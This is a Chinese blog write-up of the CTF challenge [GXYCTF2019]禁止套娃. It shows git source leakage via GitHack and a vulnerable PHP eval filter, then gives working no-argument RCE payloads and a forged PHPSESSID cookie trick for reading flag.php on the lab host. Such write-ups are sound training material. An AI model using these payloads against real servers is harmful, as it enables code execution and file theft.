首页 > 其他分享 >BUUCTF-[GXYCTF2019]禁止套娃​​

BUUCTF-[GXYCTF2019]禁止套娃​​

时间:2023-05-23 23:07:00浏览次数:62  
标签:BUUCTF 套娃 数组 flag session exp php GXYCTF2019 指针

[GXYCTF2019]禁止套娃

.git 源码泄露、工具 GitHack

无参数RCE

php函数的利用

  1. 题目中什么信息都没有
  2. 这是一道 .git源码泄露的题目,使用工具 GitHack 下载源码
python GitHack.py http://fa565425-847d-4196-ba33-85056f1d7ce1.node4.buuoj.cn:81/.git
  1. 查看到 index.php 的源码,关键代码如下

请注意如下代码框中的注释解析

if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
# 这里过滤了部分php伪协议:data:、filter:、php:、phar:
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
# (?R)是引用当前表达式,(?R)? 这里多一个?表示可以有引用,也可以没有。
# 这是无参数RCE典型的例子,要满足这一if判断,就要使用无参数的RCE
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
# 过滤了关键词,不能使用 get、phpinfo 等等函数了
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
  1. 可以通过工具 dirsearch 扫描到一个文件flag.php,其实也很容易猜到有这么一个文件,不过也可以用以下payload查看当前文件目录
?exp=print_r(scandir(pos(localeconv())));
# 这几个函数都是php内置函数,这句话表达的意思是扫描当前目录的文件并以数组形式返回。
# localeconv() 函数返回包含本地数字及货币信息格式的数组,数组的第一个元素只有一个符号“.”
# pos() 传入并回显数组的第一个元素,pos(localeconv())等价于符号“.”,pos()可以用current()代替
# scandir() 扫描文件目录并返回以数组的格式返回
  1. 构建如下payload查看flag.php的内容,得到flag
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
# 这句话会将 flag.php 文件的内容显示出来
# scandir(current(localeconv())) 得到数组Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php ) 
# 
# next() 返回数组中当前指针指向的元素的下一个指针所指的元素,此时得到的就是指针指向 flag.php 的元素
# highlight_file() 以高亮格式返回指定文件名的文件代码

部分知识点:

end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。

方法二:session_id()

  1. 首先要在传入参数中使用session_start()开启session会话,php默认是不开启session会话的,payload:?exp=highlight_file(session_id(session_start()));
  2. session_id()可以获取PHPSESSID的值,可以在请求头中传入cookie:PHPSESSID=flag.php,从而读取到文件flag.php中的信息

burpsuite请求头信息如下图,修改的内容是第一行和最后一行:

BUUCTF-[GXYCTF2019]禁止套娃​​_buu

标签:BUUCTF,套娃,数组,flag,session,exp,php,GXYCTF2019,指针
From: https://blog.51cto.com/u_16021951/6334717

相关文章

  • buuctf ciscn_2019_n_5 pwn ret2shellcode
    首先checksec查看保护策略,没有开栈不可执行NX,考虑构造shellcodeArch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXdisabledPIE:NoPIE(0x400000)RWX:HasRWXsegments查看反编译代码,可以看......
  • buuctf [第二章 web进阶]XSS闯关
    本题每一关都需要我们使用alert弹窗level1URL为http://7db5b895-7c64-4b97-a85e-bc011762312f.node4.buuoj.cn:81/level1?username=xss查看源码可知get传的username直接被输出所以直接注入js代码即可?username=<script>alert(1)</script>level2level2对输入的username......
  • buuctf [第二章 web进阶]SSRF Training
    首先点击interstingchallenge,查看后台源码。可以看到是将输入的ip通过safe_request_url()调用check_inner_ip()来判断是不是内网ip。如果是内网ip,那么直接输出;如果不是,则会创建一个curl会话,并向目标url发起请求,将返回结果输出。根据主页提示,flag位于flag.php中,但是如果直接输......
  • buuctf [网鼎杯 2020 朱雀组]phpweb
    首先访问网站,发现警告,说的是后端时区设置不对,这引导我们看看index源码是怎么查询时间的Warning:date():Itisnotsafetorelyonthesystem'stimezonesettings.Youarerequiredtousethedate.timezonesettingorthedate_default_timezone_set()function.Incase......
  • WEB|[MRCTF2020]套娃
    查看网页源码发现代码$query=$_SERVER['QUERY_STRING'];if(substr_count($query,'_')!==0||substr_count($query,'%5f')!=0){die('Y0uareSocutE!');}if($_GET['b_u_p_t']!=='23333'&&am......
  • Reverse|Buuctf xor
    程序为mac64位应用,且未加壳,使用ida64位程序打开查看快捷键查看字符串,发现flag字符,下方有个success,猜测是输入正确的字符串后会输出success点击进入,查看伪代码int__cdeclmain(intargc,constchar**argv,constchar**envp){char*v3;//rsiintresult;//eax......
  • Reverse|Buuctf reverse1
    查看程序信息DetectItEasy查看程序信息,发现是64位应用且未加壳反编译文件使用IDA打开,shift+f12检索程序里的字符串,发现thisistherightflag!,双击查看,发现被main_0函数引用双击main_0函数查看F5查看伪代码int__cdeclmain_0(intargc,constchar**argv,constcha......
  • Reverse|[GXYCTF2019]luck_guy
    ida64打开文件,搜索字符串进入pleaseinputaluckynumber伪代码输入数字进入patch_me(v4);,输入数字为偶数进入get_flag()函数unsigned__int64get_flag(){unsignedintv0;//eaxcharv1;//alsignedinti;//[rsp+4h][rbp-3Ch]signedintj;//[rsp......
  • Web|Buuctf-[NPUCTF2020]ezinclude
    查看源码提示md5($secret.$name)===$passcookie中存在hash,hash随着name的变化而变化hash填入pass参数请求跳转到404页面使用burpsuite发包,提示存在flflflflag.php页面flag不在此页面,并且页面存在文件包含漏洞读取flflflflag.php页面源码<html><head><scriptlangua......
  • Web|Buuctf [NCTF2019]SQLi
    直接给出了查询语句select*fromuserswhereusername=''andpasswd=''构造语句查询,发现有过滤fuzz一下,很多参数都被过滤robots协议下发现hint.txt文件hint.txt文件,有被过滤的参数,但是没有过滤"、|和\,并且提示只要密码与admin的密码相同就可以获得flag解题思路无......